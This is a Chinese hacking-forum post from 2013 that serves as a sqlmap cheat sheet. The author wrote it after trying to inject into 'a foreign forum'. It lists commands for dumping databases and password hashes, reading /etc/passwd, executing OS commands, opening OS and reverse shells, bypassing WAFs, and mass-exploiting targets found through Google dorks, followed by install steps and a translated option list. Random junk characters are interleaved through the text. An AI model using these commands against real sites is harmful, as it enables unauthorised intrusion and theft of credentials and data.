中国网络渗透测试联盟

标题: sqlmap注入命令的使用方法 [打印本页]
作者: admin    时间: 2013-4-4 22:26
标题: sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入，实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法，，直接做个记录、、) T) d+ l8 m8 ]* c6 q$ q& K
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称2 v2 {# j& R" x! m$ Z, w
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名1 n8 j0 R# s, j- d, C
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
5 r+ V# e# D2 L2 H: M; \! `
% [1 J( r6 J( }9 i* Zsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v4 x, @8 G6 ]4 K
0 #获取字段内容4 }, g# C' i( P/ l
% `6 ?  o7 F2 {
******************信息获取******************
1 j7 N0 j  t! G4 L0 S+ psqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型0 o  p/ b& s+ p; H8 V, i2 Y
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
: z8 ?5 s! a  w) gsqlmap -u “http://url/news?id=1″ –dbs#列数据库
6 I4 ^# w& f; Msqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码3 U1 r9 o  c/ i
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
# J4 {: ~0 h! W/ z+ tsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”+ D  l. Y$ g: V2 I. d4 g. ~
–start 1 –stop 20 #列出指定字段，列出20 条
  ~3 X# V0 J4 Qsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
: W! X1 z/ F& R, |sqlmap -u “http://url/news?id=1″ –privileges #查看权限  Y/ I. l9 `, |( V- T9 s
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
( B0 j3 k7 m2 gsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数（获取 系统权限！）$ k/ d2 f1 ?. V3 [
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
" [' k+ }7 }. b, T6 \' ]sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
% Z" _/ d3 Q9 o9 d# {sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入; v& g6 r; U- ~3 U& l
sqlmap -u “http://url/news?id=1″-b #获取banner信息' p/ C$ M5 A7 n2 {" f1 y2 S
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
: q- t! t0 ?. ^% [0 q& Psqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
# H' E* s. \2 I% p) {+ fsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
# R2 z# l5 \' m7 z6 [9 Qsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
3 \/ `) q  e4 O" @+ b5 O+ }sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
$ I" {! P$ G6 f6 f1 h( jsqlmap -u “http://url/news?id=1″ –file /etc/passwd: D2 ~: B7 O5 t$ X, c
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令7 V) B+ R) \6 b. q
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
: k, i- Q% X1 k  F) X% |1 ssqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表3 c" N3 c" N) i  V0 o
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度! H2 o1 V6 W0 F. C2 S: ]
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度3 V. `" @5 `, B! u5 o
***********高级用法*************
4 z( [: f4 `! w6 D7 ^-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
  [* o( _- ]/ H2 h* n/ K: Esqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问4 B% [/ f6 @2 U( z' j0 A! ^
–technique   测试指定注入类型\使用的技术' k; l2 I3 f" ?! G, c# v
不加参数默认测试所有注入技术
7 R* y: G( P/ J% i9 H/ I•     B: 基于布尔的SQL 盲注3 |0 O/ t5 K. }1 p" @. O
•     E: 基于显错sql 注入# j/ p& s7 i( k( T/ I
•     U: 基于UNION 注入
' }  w' u) g5 Y! y* s, m•     S: 叠层sql 注入
$ j  s/ Y1 K# F9 q. F+ ^•     T: 基于时间盲注& m6 @; {2 P2 G& c1 A" g9 b5 i: }) e' h
–tamper 通过编码绕过WEB 防火墙（WAF）Sqlmap 默认用char()  \+ J( j8 o4 J
–tamper 插件所在目录
$ O4 \2 b6 Q* H8 W* B\sqlmap-dev\tamper3 t0 H! x% `4 B2 O/ D. l. i9 v
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能1 g. y4 Y8 o, i5 F
level 执行测试等级 攻击实例:
+ h3 H0 c" d! H6 P+ XSqlmap -u “http://url/news?id=1&Submit=Submit”
6 R# |, I" x1 \1 b! k–cookie=”PHPSESSID=41aa833e6d0d
% i: c% I1 j4 |28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user# Z' T- Y" @% V7 d7 C- J* C; K7 M5 x! K
–password- |# r& P- m& S- X1 I, w2 B
参考文档:http://sqlmap.sourceforge.net/doc/README.html7 H3 n9 C( Y+ {: {2 e
***********安装最新版本*************" W4 S$ ^+ X' \4 \
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版$ G+ a# t' F2 A( B2 v
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
8 P3 T" h6 w1 `; E* ]& y安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
9 I' k! P1 `* f" msudo vim /home/当前用户/.bashrc
: e% d( {" k' ~# K# O  q* l#任意位置加上：
/ ?8 c# L" N! y1 ^% V$ X6 Ialias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效; S" u: H5 v' k, l6 P% I. a
如果想对所有用户有效 可设置全局 编辑下面的文件) b# E. A5 D2 d3 Y; M
vim /etc/profile
- B$ I/ Q! P6 q  l同样加上：
, ~2 \# k, X; d( z5 S, kalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
. K: q6 B: I' X9 O, |******************windows 7 (x64) sqlmap install (SVN)************
- M0 Y6 |, Y# L" R6 H( Ghttp://www.python.org/getit/ 安装python8 M6 ^+ {) a! j
http://www.sliksvn.com/en/download 安装windows svn client
6 s( r( z" ]- p0 g" N/ |7 [' o% k, Jsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev6 D( R( R9 I3 S5 F# w& \3 P
安装sqlmap
! s0 S0 {1 A5 _& w4 P3 F*修改环境变量% T. q# k9 m) A! \2 p  N
–version             显示程序的版本号并退出
5 E: q8 |! {6 h3 s7 @, ?' M-h, –help            显示此帮助消息并退出6 x( E( s5 y, ]6 M
-v VERBOSE            详细级别：0-6（默认为1）
: U# g' T0 r8 u- m0 @: R7 }Target（目标）： 以下至少需要设置其中一个选项，设置目标URL。
9 f2 |& z/ ^& ~! i5 j8 s-d DIRECT           直接连接到数据库。! o! i, v% @5 o9 X" a4 j- ~0 A. F
-u URL, –url=URL   目标URL。  S0 s7 v! M3 u( Z
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
+ J; J1 D6 b. ]-r REQUESTFILE      从一个文件中载入HTTP 请求。
8 {: Q1 m0 q7 H7 E. E7 m$ k-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
; E) }* {6 N7 D" }- g8 N-c CONFIGFILE       从INI 配置文件中加载选项。9 `) _! J" t! ^) ~9 b  S
Request（请求）：:0 }0 e. d, [0 }+ b2 t
这些选项可以用来指定如何连接到目标URL。5 x1 S6 |, k2 X
–data=DATA         通过POST 发送的数据字符串6 R! g' T- X3 b
–cookie=COOKIE     HTTP Cookie 头% R0 o3 g) r2 b, X$ `
–cookie-urlencode  URL 编码生成的cookie 注入
0 L, {( N( Q9 G7 d–drop-set-cookie   忽略响应的Set –Cookie 头信息
, m/ ]+ P8 t* S% L0 B+ H2 S1 I- i
3 J# O, v: O% ?1 O7 Q3 @- S. D–user-agent=AGENT  指定  HTTP User –Agent 头3 q, {" |: P: l: A: Z; Z
–random-agent      使用随机选定的HTTP User –Agent 头
& @( [; i- N, o$ A+ D* {: ?$ i–referer=REFERER   指定  HTTP Referer 头- W# b; E% J) m3 F
–headers=HEADERS   换行分开，加入其他的HTTP 头2 W! l" Z: R$ o& n# r; w
–auth-type=ATYPE   HTTP 身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM)$ i1 `- y7 O7 Y: m
–auth-cred=ACRED   HTTP 身份验证凭据（用户名:密码）
* v& U: @8 Y& G" O( o4 n–auth-cert=ACERT   HTTP 认证证书（key_file，cert_file）
( d, l% P  L% ~# u–proxy=PROXY       使用HTTP 代理连接到目标URL- v0 P+ f' a6 h9 ]  E
–proxy-cred=PCRED  HTTP 代理身份验证凭据（用户名：密码）
' q! x3 @; Z0 m0 q3 ?* M. k–ignore-proxy      忽略系统默认的HTTP 代理. \; I# @5 [) r- F
–delay=DELAY       在每个HTTP 请求之间的延迟时间，单位为秒0 R( ~4 m- B( m' Y. D; `
–timeout=TIMEOUT   等待连接超时的时间（默认为30 秒）8 e' J3 `2 [! x$ Z2 ~1 ^& ]) B; ~% U
–retries=RETRIES   连接超时后重新连接的时间（默认3）
: ^; b: x* d% ]" v% `' b–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
, g+ v, b+ m6 D4 ?- s  [' O–safe-url=SAFURL   在测试过程中经常访问的url 地址- S9 U2 C& a9 h$ Y! [; S, l/ B
–safe-freq=SAFREQ  两次访问之间测试请求，给出安全的URL7 K! r5 N9 q3 i4 ]
Optimization（优化）： 这些选项可用于优化SqlMap 的性能。
4 t' y" L2 @' m6 j-o                  开启所有优化开关
  X' B4 x. a, F& N- u–predict-output    预测常见的查询输出+ K5 R/ q( g' m7 d0 y
–keep-alive        使用持久的HTTP（S）连接# ]) ?" g* _8 Q  n6 d
–null-connection   从没有实际的HTTP 响应体中检索页面长度
( x# e0 x; e/ }5 r9 i5 T0 h( c' s–threads=THREADS   最大的HTTP（S）请求并发量（默认为1）/ d3 [1 o/ |4 `- ]  [5 M& D4 S
Injection（注入）：/ ]6 q, N% A1 n$ h! f$ O- ]
这些选项可以用来指定测试哪些参数，  提供自定义的注入payloads 和可选篡改脚本。- P/ n1 F1 @  D8 O9 z4 [6 l
-p TESTPARAMETER    可测试的参数（S）' y, h+ o3 n) O% o$ d2 Y
–dbms=DBMS         强制后端的DBMS 为此值
; k; N+ \3 Q1 n$ l# J" ~; c! o–os=OS             强制后端的DBMS 操作系统为这个值
# H* I& R( r; r, H4 a3 I# X–prefix=PREFIX     注入payload 字符串前缀
& J1 g) n. `& V. g* o3 A* Y–suffix=SUFFIX     注入 payload 字符串后缀
; U. M$ w$ [7 R% J' R/ @9 i–tamper=TAMPER     使用给定的脚本（S）篡改注入数据! d" ~" L2 I) u9 B& y: h$ Z5 d- O
Detection（检测）：3 Y. r' m* U; J. P- J8 y
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。# D* L, M# m1 z% H; j* t
–level=LEVEL       执行测试的等级（1-5，默认为1）
* l6 h  k+ S8 @–risk=RISK         执行测试的风险（0-3，默认为1）
: J5 r" y: d2 L) N7 ?: i–string=STRING     查询时有效时在页面匹配字符串
) N( v1 b" w. h' g% s) {: q9 c–regexp=REGEXP     查询时有效时在页面匹配正则表达式) c! Y' w, `/ s% d, R
–text-only         仅基于在文本内容比较网页
% {0 B. e! X9 e3 B# nTechniques（技巧）： 这些选项可用于调整具体的SQL 注入测试。
2 V+ E& m6 p8 g. g# v( `% B–technique=TECH    SQL 注入技术测试（默认BEUST）
& Q% p5 q% o  K' Z, X) U" o( i–time-sec=TIMESEC  DBMS 响应的延迟时间（默认为5 秒）8 l6 ?7 \  Y- }0 k0 \% A$ p8 L( |3 e
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
- k" W( W4 I- _9 n( r6 Q–union-char=UCHAR  用于暴力猜解列数的字符
% M. ^6 M: p8 C! `7 e. mFingerprint（指纹）：9 e9 G8 R' V/ z/ I# o* z) k
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
( k% p' \; i; OEnumeration（枚举）：
6 x0 _- u  m0 q
3 D% `  C9 Q3 E4 X1 \这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己 的SQL 语句。
( `" Z  j+ h$ E2 ~& r-b, –banner        检索数据库管理系统的标识
! Z0 {( q  Q6 {  n( Z, a+ r, Y! x8 r–current-user      检索数据库管理系统当前用户
$ A9 S/ X6 u9 R5 \–current-db        检索数据库管理系统当前数据库9 k5 M. ~# V4 f
–is-dba            检测DBMS 当前用户是否DBA
# q" l8 I$ z3 `/ X' s, s8 ^–users             枚举数据库管理系统用户/ @/ r1 u8 O7 g7 G& s6 ]" C# x% U$ ^" Y1 z
–passwords         枚举数据库管理系统用户密码哈希
. D0 e- W; Z  ?" A, ?/ w; j' S–privileges        枚举数据库管理系统用户的权限- g. {# z- X* [) w7 A
–roles             枚举数据库管理系统用户的角色
2 Y7 S1 L' {! M: X+ E–dbs               枚举数据库管理系统数据库
2 s& z* M" {, y4 @3 p* @! L–tables            枚举的DBMS 数据库中的表  M& J* r4 {, r; Q
–columns           枚举DBMS 数据库表列
3 f& u! u$ {$ m! h$ g9 ?6 j–dump              转储数据库管理系统的数据库中的表项
& b2 E) E: l; z9 ]6 f% h. x" v–dump-all          转储所有的DBMS 数据库表中的条目
4 J2 M. D: j* o7 ]–search            搜索列（S），表（S）和/或数据库名称（S）* ~/ g7 b6 P4 ~0 u
-D DB               要进行枚举的数据库名
3 q9 Z- S0 V  R# ~0 K& M-T TBL              要进行枚举的数据库表2 p% ^0 w3 t5 l! O: j. u  }
-C COL              要进行枚举的数据库列) @  Z( u( L' Z; z# B! M7 ~" a
-U USER             用来进行枚举的数据库用户
5 `7 z4 v8 N6 S  h, S; `–exclude-sysdbs    枚举表时排除系统数据库/ R" W! e: ?0 w6 ~; [1 ?/ I
–start=LIMITSTART  第一个查询输出进入检索* }6 ]) A% T& N; Y; G: D
–stop=LIMITSTOP    最后查询的输出进入检索
+ `! z  e( R6 Q# s. v) d) r$ x–first=FIRSTCHAR   第一个查询输出字的字符检索- X& m2 V! W9 a* [/ q
–last=LASTCHAR     最后查询的输出字字符检索5 L4 K% v# ^" m. \2 d& e; V
–sql-query=QUERY   要执行的SQL 语句
" g6 X( I2 I8 a–sql-shell         提示交互式SQL 的shell
/ I, J: F+ q+ Y* LBrute force（蛮力）： 这些选项可以被用来运行蛮力检查。
7 r, ^7 y& x* J' |1 \–common-tables     检查存在共同表8 M: S$ F, q5 t- L2 K/ a
–common-columns    检查存在共同列
( |  k0 p9 O) AUser-defined function injection（用户自定义函数注入）： 这些选项可以用来创建用户自定义函数。' ?. e; e" b1 _' o. u" T+ ]4 s
–udf-inject        注入用户自定义函数
: W+ ~! N) H8 [# d8 o5 y; e0 r–shared-lib=SHLIB  共享库的本地路径2 J  W# n4 q2 _& L
File system access（访问文件系统）： 这些选项可以被用来访问后端数据库管理系统的底层文件系统。; G+ \" \& u2 x9 w' k9 H. D5 r4 U
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
! X" H: Z0 n/ K; g' k1 }–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件, a; h; R+ E  \& F1 Y: d; ~
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径, F# s  ?7 Z; K( v9 y% x# W
Operating system access（操作系统访问）： 这些选项可以用于访问后端数据库管理系统的底层操作系统。
; }9 x2 m$ \# r! ?- v; e–os-cmd=OSCMD      执行操作系统命令
9 O, W2 }/ V6 e4 I+ d" {8 Z9 \–os-shell          交互式的操作系统的shell
; D0 I* p- C7 d! X2 Y! X1 r9 h–os-pwn            获取一个OOB shell，meterpreter 或VNC( q! i. o# q# M$ A5 E6 p
–os-smbrelay       一键获取一个OOB shell，meterpreter 或VNC* T& S/ L+ d2 k1 p3 ]# F
–os-bof            存储过程缓冲区溢出利用, D5 i$ n: m% J4 T. F" V2 ]8 i
–priv-esc          数据库进程用户权限提升  @; U) P. u+ Q) C+ A( B2 n4 d9 n
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
% P7 R  p' }+ f& B$ `2 E+ d( L–tmp-path=TMPPATH  远程临时文件目录的绝对路径
+ a0 }# W( c3 ~1 S( f
  L5 {' K! c* B$ KWindows 注册表访问： 这些选项可以被用来访问后端数据库管理系统Windows 注册表。9 o0 \) }% u; Z7 o3 n- i
–reg-read          读一个Windows 注册表项值
) i' [. t% \# J1 R) ~–reg-add           写一个Windows 注册表项值数据! H- X4 V5 G2 K1 b5 ^* b
–reg-del           删除Windows 注册表键值
' I  _: C+ D/ J% h2 F# ]–reg-key=REGKEY    Windows 注册表键- ^- d5 w5 R8 O/ F
–reg-value=REGVAL  Windows 注册表项值9 R: q' M, Z, I
–reg-data=REGDATA  Windows 注册表键值数据
  |' ~  o: v: ^! y' V; n: ~–reg-type=REGTYPE  Windows 注册表项值类型
: V0 U  n! H! K6 o* |General（一般）： 这些选项可以用来设置一些一般的工作参数。
; K7 G1 q& Q% a% t9 p1 a-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
' f5 N% V: s$ z: s0 R-s SESSIONFILE      保存和恢复检索会话文件的所有数据
9 k( y- U* z; c. w8 T" E9 j* h–flush-session     刷新当前目标的会话文件
6 q& Y% B5 w7 J6 d7 r–fresh-queries     忽略在会话文件中存储的查询结果
# ]- q2 P9 G/ h9 n/ G–eta               显示每个输出的预计到达时间3 G) x8 p& q/ f* k% N
–update            更新SqlMap, s/ p5 }# E5 J1 E# e0 z5 X: m
–save              file 保存选项到INI 配置文件
) x) J* W  [/ ~- ]# a5 ]  F% ~$ x' D) e–batch             从不询问用户输入，使用所有默认配置。
! R: Y4 B7 C, _# J+ [7 E6 AMiscellaneous（杂项）：
; B: @! G- ?! R  C+ d–beep              发现SQL 注入时提醒
7 N7 |- p/ M; F" d4 h1 o5 u( l! [–check-payload     IDS 对注入payloads 的检测测试+ v& g! w4 I# R9 W. L- C
–cleanup           SqlMap 具体的UDF 和表清理DBMS1 u4 I' H/ ?; u4 v( K; G8 W8 l& i
–forms             对目标URL 的解析和测试形式
; b" ?- g( f' E( F6 `- h–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
! G5 e9 p& O; G$ B4 W4 k–page-rank         Google dork 结果显示网页排名（PR）8 C! K. s% I/ K- D/ ^
–parse-errors      从响应页面解析数据库管理系统的错误消息* f! @' M6 A- J
–replicate         复制转储的数据到一个sqlite3 数据库6 R0 C# f& o7 r, }6 ~6 R+ s
–tor               使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址
4 U- m' W% X( d# g& v% J–wizard            给初级用户的简单向导界面



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2